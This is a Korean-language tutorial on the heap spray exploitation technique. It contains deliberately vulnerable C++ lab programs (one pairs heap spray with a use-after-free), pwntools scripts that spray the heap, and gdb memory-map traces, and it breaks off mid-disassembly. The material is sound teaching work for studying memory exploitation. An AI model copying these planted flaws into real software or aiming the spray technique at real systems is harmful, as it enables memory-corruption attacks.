Excuse the ads! We need some help to keep our site up.

List

Heap Spray

  • Heap spray란 Heap 영역을 확장하면서 해당 영역에 특정 값으로 가득 채우는 기술입니다.
    • Heap spray를 이용해 Exploit의 성공 가능성을 높이기 위해 많은 양의 Heap 공간을 요청합니다.
    • Heap spray에 의해 Heap 영역에 주소 값 또는 NOP 또는 NOP + Shellcode으로 채워지는 것이 일반적입니다.
  • Heap spray로 인해 대부분의 아키텍처와 운영 체제에서 대규모 Heap이 할당되는 시작 위치의 예측 가능합니다.
    • 즉, Heap spray가 실행될 때마다 대략적으로 동일한 위치에 Spray된 Heap이 있음을 의미합니다.
    • Heap을 연속으로 할당할 경우 대부분 순차적으로 할당됩니다.
  • Heap spray는 응용 프로그램에서 Heap 영역의 값을 읽어 해당 주소도 이동하는 함수 포인터를 덮어쓸 수 있는 취약성이 있을 경우에 사용될 수 있습니다.
    • Heap spary된 Heap 영역의 주소를 함수 포인터로 사용하여 실행 흐름을 제어할 수 있습니다.
    • 이외에도 상황에 따라 다양하게 사용될 수 있습니다.

Implementation of Heap Spray

JavaScript(JIT spray)
  • 웹 브라우저에서 힙 스프레이는 일반적으로 JavaScript로 구현되며 큰 문자열을 만들어 힙을 스프레이(JIT(Just-In-Time) spray)합니다 . 
    • 브라우저가 문자열을 구현하는 방법에 따라 문자열에 ASCII 또는 유니 코드 문자를 사용할 수 있습니다. 
VBScript
  • Internet Explorer 에서 경우에 따라 VBScript는 String 함수 를 사용하여 문자열을 만드는 데 사용됩니다 .

ActionScript
  • Adobe Flash 에서 ActionScript 를 사용한 Heap spray 악용 사례가 있습니다.
Images
  • 힙 스프레이 작업은 이미지 파일을 프로세스에로드하는 등 다른 방법을 통해 수행 할 수 있지만, 널리 사용되지는 않았습니다

HTML5
  • HTML5에서 도입 된 기술을 사용하여 힙을 매우 높은 할당 단위로 스프레이 할 수 있음을 보여주었습니다 . 
  • 특히 캔버스 API가 제공하는 저수준 비트 맵 인터페이스 와 web workers를 이용하여 신속하게 작업 할 수 있다고 합니다.

Proof of concept

Sample code

  • 다음 코드는 다음과 같은 기능을 합니다.

    • while()에 의해 사용자로 부터 숫자 0을 입력 받을 때 까지 heapSpray() 함수를 실행합니다.

    • heapSpray() 함수는 read()함수를 이용해 사용자로 부터 입력할 문자의 길이를 입력 받습니다.

    • heapSpray() 함수는 new 연산자를 이용해 입력 받은 문자열의 길이 만큼의 Heap 공간을 생성(data)합니다.

    • 그리고 read() 함수를 이용해 생성된 Heap 공간(data)에 값을 저장합니다.

    • 여기서 Heap spray 취약성이 발생합니다.

      • heapSpray() 함수가 종료 될때 delete 연산자를 이용하여 생성된 Heap 공간(data)을 해제 하지 않았기 때문입니다.

      • heapSpray() 함수가 호출될 때마다 이전에 할당받은 Heap 영역 뒤에 Heap 영역을 할당받아 값을 저장하게 됩니다.

poc.cpp
//g++ -o poc poc.cpp -ldl
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <cstring>
 
void heapSpray(){
    int size;
    char *data;
 
    printf("Input size:\n");
    read(0, &size, 4);
    if (size > 0) {
        printf("Input contents:\n");
        data = new char[size];
        read(0, data, size);
    }
}
 
int main(){
    printf("Heap spray!\n");
    while(1){
        char status[2];
        heapSpray();
        printf("Will you keep typing?(No:0):\n");
        read(0,&status,2);
 
        if(atoi(status) == 0){
	    	printf("Exit!\n");
            break;
		}
    }
    return 0;
}

The address to which the heap is allocated

  • 프로세스에 할당된 Heap 주소들을 확인하기 위해 다음과 같이 프로세스를 백그라운드로 실행합니다.

Run processes in the background
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[1] 30346
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[1]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[2] 30347
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[2]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[3] 30348
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[3]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$
  • 다음과 같이 각 프로세스 마다 할당된 Heap의 시작 주소가 다릅니다.
    • 첫번째 프로세스 : 0x0074c000 ~
    • 두번째 프로세스 : 0x01d1d000 ~
    • 세번째 프로세스 : 0x01579000 ~
  • 하지만 이러한 ASLR은 Heap spray기술에서 큰 문제가 되지 않습니다.
First process
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30346
[sudo] password for lazenca0x0: 
Attaching to process 30346
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Stopped reason: SIGTTIN
0x00007f8280e3f260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x0074c000         0x0077e000         rw-p	[heap]
...
gdb-peda$
Second Process
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30347
Attaching to process 30347
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Program received signal SIGTTIN, Stopped (tty input).
Stopped reason: SIGTTIN
0x00007fa7509f3260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01d1d000         0x01d4f000         rw-p	[heap]
...
gdb-peda$ 
Third Process
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30348
Attaching to process 30348
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Program received signal SIGTTIN, Stopped (tty input).
Stopped reason: SIGTTIN
0x00007f6c2779e260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01579000         0x015ab000         rw-p	[heap]
...
gdb-peda$ 

Do Heap spray

  • 다음과 스크립트를 이용하여 Heap spray를 진행 합니다.

    • Heap 영역에 spray할 데이터의 전체 크기는 0x5000000 입니다.

    • spray할 때마다 사용할 heap의 크기는 0x10000 입니다.

      • 해당 크기에서 chunk의 크기를 뺍니다.

      • 해당 공간에 "AAAABBBB" + "C" * alpha 의 데이터를 저장합니다.

poc-1.py
from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x10000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10 # chunk의 크기
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size - len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()
  • 스크립트를 실행하면 다음과 같이 Heap 구조의 변화는 확인 할 수 있습니다.

    • 중요한 부분은 Heap spray에 의해 Heap 영역이 확장되었다는 것입니다.
      • 첫번째 프로세스 : 0x00d34000 ~ 0x05d67000
      • 두번째 프로세스 : 0x023da000 ~ 0x0740d000
      • 세번째 프로세스 : 0x02276000 ~ 0x04277000
    • 즉, 이로 인하여 Heap 영역의 주소를 유추하기 쉬워집니다.
First process
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56043
Attaching to process 56043
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f9f2f3cb260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004007bd <+0>:	push   rbp
   0x00000000004007be <+1>:	mov    rbp,rsp
   0x00000000004007c1 <+4>:	sub    rsp,0x10
...
   0x0000000000400818 <+91>:	call   0x4005d0 <puts@plt>
   0x000000000040081d <+96>:	mov    eax,0x0
   0x0000000000400822 <+101>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400826 <+105>:	xor    rcx,QWORD PTR fs:0x28
   0x000000000040082f <+114>:	je     0x400836 <main+121>
   0x0000000000400831 <+116>:	call   0x400620 <__stack_chk_fail@plt>
   0x0000000000400836 <+121>:	leave  
   0x0000000000400837 <+122>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00d34000         0x00d66000         rw-p	[heap]
...
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00d34000         0x05d67000         rw-p	[heap]
...
gdb-peda$ p/x 0x05d67000 - 0x00d66000
$2 = 0x5001000
gdb-peda$ 
Second Process
lazenca0x0@ubuntu:~$ sudo gdb -p 56080
Attaching to process 56080
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...

0x00007f4a296a7260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x023da000         0x0240c000         rw-p	[heap]
...

gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x023da000         0x0740d000         rw-p	[heap]
...
gdb-peda$ p/x 0x0740d000 - 0x0240c000
$2 = 0x5001000
gdb-peda$ 
Third Process
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56097
Attaching to process 56097
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f06b8fd0260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01b1e000         0x01b50000         rw-p	[heap]
...
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01b1e000         0x06b51000         rw-p	[heap]
...
gdb-peda$ p/x 0x06b51000 - 0x01b50000
$2 = 0x5001000
gdb-peda$ 

#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)

  • 다음과 같이 Linux에서 Heap spray를 사용할 때 주의할 점이 있습니다.
    • malloc은 할당할 Heap의 크기가 0x20000(128 * 1024) 이상일 경우 Heap 영역을 확장하지 않습니다.
      • mmap을 사용하여 새로 할당 된 메모리 영역에 데이터를 저장합니다.
  • 다음 코드는 malloc의 소스코드 입니다.
    • "DEFAULT_MMAP_THRESHOLD_MIN"에 mmap으로 공간을 할당하는 최소 크기의 기준 값을 저장하고 있습니다.
/*
  MMAP_THRESHOLD_MAX and _MIN are the bounds on the dynamically
  adjusted MMAP_THRESHOLD.
*/

#ifndef DEFAULT_MMAP_THRESHOLD_MIN
#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)
#endif

#ifndef DEFAULT_MMAP_THRESHOLD_MAX
  /* For 32-bit platforms we cannot increase the maximum mmap
     threshold much because it is also the minimum value for the
     maximum heap size and its alignment.  Going above 512k (i.e., 1M
     for new heaps) wastes too much address space.  */
# if __WORDSIZE == 32
#  define DEFAULT_MMAP_THRESHOLD_MAX (512 * 1024)
# else
#  define DEFAULT_MMAP_THRESHOLD_MAX (4 * 1024 * 1024 * sizeof(long))
# endif
#endif
  • malloc는 DEFAULT_MMAP_THRESHOLD_MIN의 값을 이용하여 할당할 heap의 크기가 크거나 같은지 확인합니다.
    • 값이 작을 경우 기존에 할당된 heap영역에 공간을 확장해서 사용합니다.
    • 값이 클 경우 새로운 메모리 영역을 할당하여 사용합니다.
#define M_MMAP_THRESHOLD      -3

#ifndef DEFAULT_MMAP_THRESHOLD
#define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN
#endif

...


static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
...
}

static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{

...


 if (av == NULL
	 || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) 
		&& (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/
 
    try_mmap:
      /*
         Round up size to nearest page.  For mmapped chunks, the overhead
         is one SIZE_SZ unit larger than for normal chunks, because there
         is no following chunk whose prev_size field could be used.
 
         See the front_misalign handling below, for glibc there is no
         need for further alignments unless we have have high alignment.
       */
      if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
        size = ALIGN_UP (nb + SIZE_SZ, pagesize);
  • 다음 코드를 이용하여 새로운 heap 메모리 영역이 할당되는 것을 확인 할 수 있습니다.
    • malloc() 함수에 의해 할당 받을 Heap의 크기를 0x20000으로 전달 합니다.
    • 이 크기로 인해 malloc() 함수는 기존 heap 영역을 확장하는 것이 아니라 새로운 메모리 영역을 할당해 사용합니다.
poc-2.py
from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x20000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size-len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()
  • 다음과 같이 디버깅을 이용해 메모리의 변화를 확인 할 수 있습니다.
    • Heap spray를 실행하였지만 기존에 사용하던 heap 영역이 확장되지 않았습니다.
      • heap 영역 아래에 새로운 메모리 영역이 생성되었습니다.(0x00007f2f483ea000 ~ 0x00007f2f4a31c000)
      • 해당 영역에 heap spray를 위해 입력한 값이 저장되어 있습니다.
Memory map
lazenca0x0@ubuntu:~$ sudo gdb -q -p 55755
[sudo] password for lazenca0x0: 
Attaching to process 55755
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f2f4a932260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01ca3000         0x01cd5000         rw-p	[heap]
0x00007f2f4a31c000 0x00007f2f4a332000 r-xp	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a332000 0x00007f2f4a531000 ---p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a531000 0x00007f2f4a532000 rw-p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a532000 0x00007f2f4a63a000 r-xp	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a63a000 0x00007f2f4a839000 ---p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a839000 0x00007f2f4a83a000 r--p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abfb000 0x00007f2f4abff000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abff000 0x00007f2f4ac01000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p	mapped
0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4ad77000 0x00007f2f4af77000 ---p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af77000 0x00007f2f4af81000 r--p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af81000 0x00007f2f4af83000 rw-p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af83000 0x00007f2f4af87000 rw-p	mapped
0x00007f2f4af87000 0x00007f2f4afad000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b18e000 0x00007f2f4b194000 rw-p	mapped
0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p	mapped
0x00007ffd30ee6000 0x00007ffd30f07000 rw-p	[stack]
0x00007ffd30f2f000 0x00007ffd30f32000 r--p	[vvar]
0x00007ffd30f32000 0x00007ffd30f34000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01ca3000         0x01cd5000         rw-p	[heap]
0x00007f2f483ea000 0x00007f2f4a31c000 rw-p	mapped
0x00007f2f4a31c000 0x00007f2f4a332000 r-xp	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a332000 0x00007f2f4a531000 ---p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a531000 0x00007f2f4a532000 rw-p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a532000 0x00007f2f4a63a000 r-xp	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a63a000 0x00007f2f4a839000 ---p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a839000 0x00007f2f4a83a000 r--p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abfb000 0x00007f2f4abff000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abff000 0x00007f2f4ac01000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p	mapped
0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4ad77000 0x00007f2f4af77000 ---p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af77000 0x00007f2f4af81000 r--p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af81000 0x00007f2f4af83000 rw-p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af83000 0x00007f2f4af87000 rw-p	mapped
0x00007f2f4af87000 0x00007f2f4afad000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4afc0000 0x00007f2f4b194000 rw-p	mapped
0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p	mapped
0x00007ffd30ee6000 0x00007ffd30f07000 rw-p	[stack]
0x00007ffd30f2f000 0x00007ffd30f32000 r--p	[vvar]
0x00007ffd30f32000 0x00007ffd30f34000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/20gx 0x00007f2f483ea000
0x7f2f483ea000:	0x0000000000000000	0x0000000000021002
0x7f2f483ea010:	0x4242424241414141	0x4242424241414141
0x7f2f483ea020:	0x4242424241414141	0x4242424241414141
0x7f2f483ea030:	0x4242424241414141	0x4242424241414141
0x7f2f483ea040:	0x4242424241414141	0x4242424241414141
0x7f2f483ea050:	0x4242424241414141	0x4242424241414141
0x7f2f483ea060:	0x4242424241414141	0x4242424241414141
0x7f2f483ea070:	0x4242424241414141	0x4242424241414141
0x7f2f483ea080:	0x4242424241414141	0x4242424241414141
0x7f2f483ea090:	0x4242424241414141	0x4242424241414141
gdb-peda$ 

Example code

  • 다음 코드에는 heap spray, UAF 취약성이 존재합니다.
    • 앞의 예제 코드에서 사용한 heapSpray() 함수에는 heapSpray가 가능합니다.

    • 그리고 main 함수에서 UAF 클래스를 생성하고 삭제 후에 heapSpray() 함수가 호출 됨으로써 UAF취약성이 발생됩니다.
heapspray.cpp
//g++ -o heapspray heapspray.cpp -ldl
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <cstring>
#include <dlfcn.h>

class UAF {
    char memo[160];

public:
    UAF(char *memo) { 
		strncpy(this->memo,memo,strlen(this->memo));
    }

    virtual void target() { 
		write(1, this->memo, strlen(this->memo));
    }
};

void heapSpray(){
    int size;
    char *data;

    printf("Input size:\n");
    read(0, &size, 4);
    if (size > 0) {
        printf("Input contents:\n");
        data = new char[size];
        read(0, data, size);
    }
}

int main(){
    char memo[160] = {};

    void *printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);

    printf("Heap spray!\n");
    while(1){
        char status[2];
        heapSpray();
        printf("Will you keep typing?(No:0):\n");
        read(0,&status,2);

        if(atoi(status) == 0)
            break;
    }

    printf("Create vtable\n");
    read(0, memo, sizeof(memo));

    UAF *uaf = new UAF(memo);
    delete uaf;

    printf("UAF!\n");
    heapSpray();

    uaf->target();

    return 0;
}

UAF

  • 다음과 같이 Break point를 설정합니다.

    • 0x400b42 : UAF Class 생성

    • 0x400b58 : UAF Class 삭제

    • 0x400a26 : heapSpray 함수에서 new char[size]

    • 0x400a41 : heapSpray 함수에서 read() 함수 호출

Break points
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ gdb -q ./heapspray
Reading symbols from ./heapspray...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400a5d <+0>:	push   rbp
   0x0000000000400a5e <+1>:	mov    rbp,rsp
   0x0000000000400a61 <+4>:	push   rbx
   0x0000000000400a62 <+5>:	sub    rsp,0xd8
   0x0000000000400a69 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400a72 <+21>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400a76 <+25>:	xor    eax,eax
   0x0000000000400a78 <+27>:	lea    rdx,[rbp-0xc0]
   0x0000000000400a7f <+34>:	mov    eax,0x0
   0x0000000000400a84 <+39>:	mov    ecx,0x14
   0x0000000000400a89 <+44>:	mov    rdi,rdx
   0x0000000000400a8c <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x0000000000400a8f <+50>:	mov    esi,0x400cd0
   0x0000000000400a94 <+55>:	mov    rdi,0xffffffffffffffff
   0x0000000000400a9b <+62>:	call   0x4008a0 <dlsym@plt>
   0x0000000000400aa0 <+67>:	mov    QWORD PTR [rbp-0xe0],rax
   0x0000000000400aa7 <+74>:	mov    rax,QWORD PTR [rbp-0xe0]
   0x0000000000400aae <+81>:	mov    rsi,rax
   0x0000000000400ab1 <+84>:	mov    edi,0x400cd7
   0x0000000000400ab6 <+89>:	mov    eax,0x0
   0x0000000000400abb <+94>:	call   0x400800 <printf@plt>
   0x0000000000400ac0 <+99>:	mov    edi,0x400cee
   0x0000000000400ac5 <+104>:	call   0x400810 <puts@plt>
   0x0000000000400aca <+109>:	call   0x4009d6 <_Z9heapSprayv>
   0x0000000000400acf <+114>:	mov    edi,0x400cfa
   0x0000000000400ad4 <+119>:	call   0x400810 <puts@plt>
   0x0000000000400ad9 <+124>:	lea    rax,[rbp-0xd0]
   0x0000000000400ae0 <+131>:	mov    edx,0x2
   0x0000000000400ae5 <+136>:	mov    rsi,rax
   0x0000000000400ae8 <+139>:	mov    edi,0x0
   0x0000000000400aed <+144>:	call   0x400840 <read@plt>
   0x0000000000400af2 <+149>:	lea    rax,[rbp-0xd0]
   0x0000000000400af9 <+156>:	mov    rdi,rax
   0x0000000000400afc <+159>:	call   0x400870 <atoi@plt>
   0x0000000000400b01 <+164>:	test   eax,eax
   0x0000000000400b03 <+166>:	jne    0x400aca <main+109>
   0x0000000000400b05 <+168>:	mov    edi,0x400d17
   0x0000000000400b0a <+173>:	call   0x400810 <puts@plt>
   0x0000000000400b0f <+178>:	lea    rax,[rbp-0xc0]
   0x0000000000400b16 <+185>:	mov    edx,0xa0
   0x0000000000400b1b <+190>:	mov    rsi,rax
   0x0000000000400b1e <+193>:	mov    edi,0x0
   0x0000000000400b23 <+198>:	call   0x400840 <read@plt>
   0x0000000000400b28 <+203>:	mov    edi,0xa8
   0x0000000000400b2d <+208>:	call   0x4008c0 <_Znwm@plt>
   0x0000000000400b32 <+213>:	mov    rbx,rax
   0x0000000000400b35 <+216>:	lea    rax,[rbp-0xc0]
   0x0000000000400b3c <+223>:	mov    rsi,rax
   0x0000000000400b3f <+226>:	mov    rdi,rbx
   0x0000000000400b42 <+229>:	call   0x400ba8 <_ZN3UAFC2EPc>
   0x0000000000400b47 <+234>:	mov    QWORD PTR [rbp-0xd8],rbx
   0x0000000000400b4e <+241>:	mov    rax,QWORD PTR [rbp-0xd8]
   0x0000000000400b55 <+248>:	mov    rdi,rax
   0x0000000000400b58 <+251>:	call   0x400830 <_ZdlPv@plt>
   0x0000000000400b5d <+256>:	mov    edi,0x400d25
   0x0000000000400b62 <+261>:	call   0x400810 <puts@plt>
   0x0000000000400b67 <+266>:	call   0x4009d6 <_Z9heapSprayv>
   0x0000000000400b6c <+271>:	mov    rax,QWORD PTR [rbp-0xd8]
   0x0000000000400b73 <+278>:	mov    rax,QWORD PTR [rax]
   0x0000000000400b76 <+281>:	mov    rax,QWORD PTR [rax]
   0x0000000000400b79 <+284>:	mov    rdx,QWORD PTR [rbp-0xd8]
   0x0000000000400b80 <+291>:	mov    rdi,rdx
   0x0000000000400b83 <+294>:	call   rax
   0x0000000000400b85 <+296>:	mov    eax,0x0
